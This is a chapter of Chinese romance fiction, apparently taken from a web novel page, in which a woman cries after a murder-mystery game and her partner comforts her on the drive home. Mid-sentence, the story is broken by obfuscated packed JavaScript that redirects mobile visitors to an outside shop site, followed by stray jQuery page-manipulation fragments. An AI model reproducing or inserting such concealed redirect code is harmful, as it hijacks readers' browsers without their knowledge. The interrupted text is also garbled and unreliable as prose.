车子驶出宵夜店那条街的时候,路灯一盏一盏地从车窗外滑过去,橘黄色的光在车厢里明灭交替,像一条流动的光河。守夜坐在副驾驶座上,安全带系好了,但她整个人是侧着的——侧向驾驶座的方向,一只手搭在无眠的右臂上,指尖隔着外套的布料轻轻摩挲着他的袖口。
她没有说话,只是摸。从袖口摸到小臂,从小臂摸到手背,又从手背收回来,沿着他的肩膀线条滑上去,指尖蹭过他后颈的发尾——蓝银色的,凉凉的,在路灯的光里闪过一抹深海般的光泽。她的指腹从他的眉骨上轻轻滑过,顺着鼻梁的弧度落到鼻尖,又沿着人中轻轻描了一圈,最后停在他的下巴上。她微微用力,用拇指在他下颌线上来回刮了两下,像在用指腹擦拭一件珍贵的瓷器上并不存在的灰尘,动作温柔得近乎小心翼翼。
无眠目视前方,双手握着方向盘,没有躲,也没有制止她。只是在她的指腹刮过他下巴的时候,喉结微微滚动了一下,开口时声音带着一点低沉的无奈:“……你在干嘛?”
“确认一下。”守夜说,声音很轻,指尖从他下巴滑到他的耳垂,捏了一下,又松开,“确认你是真的。”
“我是真的。”
“我知道。”她说,但手没有收回来,依然搭在他的肩上,指尖绕着他后颈的一缕蓝银色长发,慢慢地、一圈一圈地绕着,“你累不累?要不我来开吧,你坐到后面去休息一会儿。”
无眠侧头看了她一眼,又转回去看路:“不累。才开了十五分钟。”
“十五分钟也可以累的。”守夜坚持,另一只手也伸过来了,搭在他握着方向盘的那只手的手背上,轻轻拍了拍,“你刚才开了三个小时的剧本杀,脑细胞死了好多,需要休息。我来开,你坐后面闭一会儿眼睛。”
无眠沉默了一息,然后开口,声音里带着一丝极淡的笑意:“你驾照拿了三年,一共开过四次车。两次剐蹭,一次追尾,一次开进绿化带。”
守夜的手顿了一下:“……那都是以前的事了!我现在进步了!”
“上个月你开我的车去超市,回来的时候跟我说‘我把车停好了,就是位置有点歪’——我下楼一看,车头离墙还有三厘米,车尾离隔壁车位的车门还有两米。”
“……那叫精准停车。”
无眠没有反驳,但他的嘴角弯了一下。那个弧度很小,在路灯明灭的光线里一闪而过,但守夜捕捉到了。她“哼”了一声,把手从他肩膀上收回来,但没有收远——落在了他的大腿上,掌心贴着他西装裤的面料,安静地放着,没有动。无眠的呼吸节奏在那一瞬间出现了一个几乎察觉不到的停顿,但他没有说话,也没有把她的手拿开,只是继续开着车,目视前方。
车厢里安静了几秒。守夜看着窗外掠过的街景,看着路灯一盏一盏地向后退去,看着熟悉的路口和建筑从车窗外流过,忽然开口:“哎——不回公寓了。”
无眠的目光从路面上移开了一瞬,看了她一眼:“嗯?”
“今晚回爸妈家。”守夜说,声音比刚才自然了一些,但依然带着一种“我已经决定了”的笃定,“家里有爸妈,有我那尖酸刻薄但善良的妹妹,还有我三个哥哥——谁都欺负不了你。”
她顿了顿,声音低了一点,像在给自己打气一样补了一句:“没有人会说你是凶手。”
她说这句话的时候,语气是平稳的,甚至带着一点故作轻松的、想把这个提议包装成一个“临时起意”的随意感。但她的话音落下之后,车厢里安静了大约两秒,然后她的眼眶毫无预兆地红了。她自己都没料到。明明刚才在粥店里已经缓过来了,明明刚才在车上摸了他一路也已经确认了他就在身边,但“没有人会说你是凶手”这几个字说出口的时候,像一根绷了一晚上的弦终于被拨到了极限的频率,断了。
眼泪掉了下来。没有嚎啕大哭,没有剧烈的抽泣——就是眼泪安静地、一颗接一颗地从眼眶里滚出来,沿着脸颊滑落,滴在她放在大腿上的手背上,洇开一小片温热的湿痕。她没有抬手去擦,就那么坐着,看着前方的路面,眼泪不停地往下掉。
无眠感觉到了。他没有说话,但他打了右转向灯,减速,把车平稳地靠在了路边一处允许临时停靠的位置,挂上P挡,拉好手刹,然后转过身来。
守夜还是没有看他,依然看着前方的挡风玻璃,眼泪不停地流,声音带着一点鼻音,但依然努力保持着平稳:“……我没事。就是——刚才那个本,他们说你是凶手的时候,我真的——心跳都停了。我知道是假的,我知道那是剧本,但我就是——我控制不住。”
她终于抬起手,用手背胡乱地擦了一下脸上的泪水,但越擦越多,像拧开了一个关不上的水龙头。她吸了吸鼻子,声音闷闷的,带着一点委屈:“我天不怕地不怕的。但我怕你不见了。”
无眠没有说话。他伸手,解开她的安全带,然后把她整个人拉进了自己怀里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759374|209579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她撞进他胸口的时候,鼻尖磕在他锁骨的凹陷处,有点疼,但她没有躲,反而把脸埋进去,双手攥着他外套的前襟,攥得很紧,像溺水的人终于抓住了一块浮木。她的肩膀在微微发抖,但没有发出声音——她连哭都是安静的,像一只受了惊之后缩进角落里、不愿意让别人听到自己声音的小动物。
无眠的下巴抵在她的发顶上,一只手环着她的背,另一只手按着她的后脑,将她牢牢地固定在自己怀里。他没有说“别哭了”,没有说“没事了”,没有说任何试图让她的情绪“快点过去”的话。他只是抱着她,像一座礁石抱着被浪打上来的小船,稳稳地,一动不动地,让她哭完。
过了很久——可能是两分钟,可能是五分钟——守夜的哭声渐渐停了。她依然埋在他胸口没有抬头,但攥着他前襟的手指松开了一些,改为松松地搭在他的腰侧。她的声音闷在他的衣料里,带着浓重的鼻音,但已经恢复了一点平日里的调子:“你把我的妆哭花了。”
“你今晚没化妆。”无眠说。
“那我把鼻涕蹭你衣服上了。”
“嗯。回去洗。”
守夜在他怀里沉默了两秒,然后发出一声闷闷的、带着鼻音的笑。她终于从他怀里抬起头来,眼睛红红的,鼻尖也红红的,整张脸看起来像一只刚被雨淋过的、有点狼狈但依然倔强的小猫。她伸手,用拇指擦了擦他外套前襟上那块被她哭湿的痕迹,擦了两下,发现越擦越湿,索性放弃了。
“走吧,回家。”她说,声音还带着一点哭过的沙哑,但已经稳了很多,“爸妈应该还没睡。小妹肯定在客厅打游戏。三个哥哥——不知道今晚谁在家,但不管谁在,都不准提剧本杀的事。谁敢说一句‘凶手’,我就把他小时候尿床的事拿出来讲。”
无眠看着她,看了两秒。然后他伸手,用拇指轻轻揩掉她眼角还挂着的那一滴泪,动作很轻,像在处理一件极其易碎的东西。
“好。”他说,“不提。”
他重新帮她系好安全带,调整了一下座椅的角度,让她靠得更舒服一些,然后挂挡,打转向灯,重新汇入车流。车子在夜色中平稳地行驶着,朝着那个有家人、有灯火、有“没有人会说你”的方向驶去。守夜靠在副驾驶座上,侧过头,看着窗外流动的城市灯火,一只手依然搭在他的大腿上,没有拿开。她的眼睛还红着,但嘴角已经恢复了那个小小的、安稳的弧度。
他在她身边。这就够了。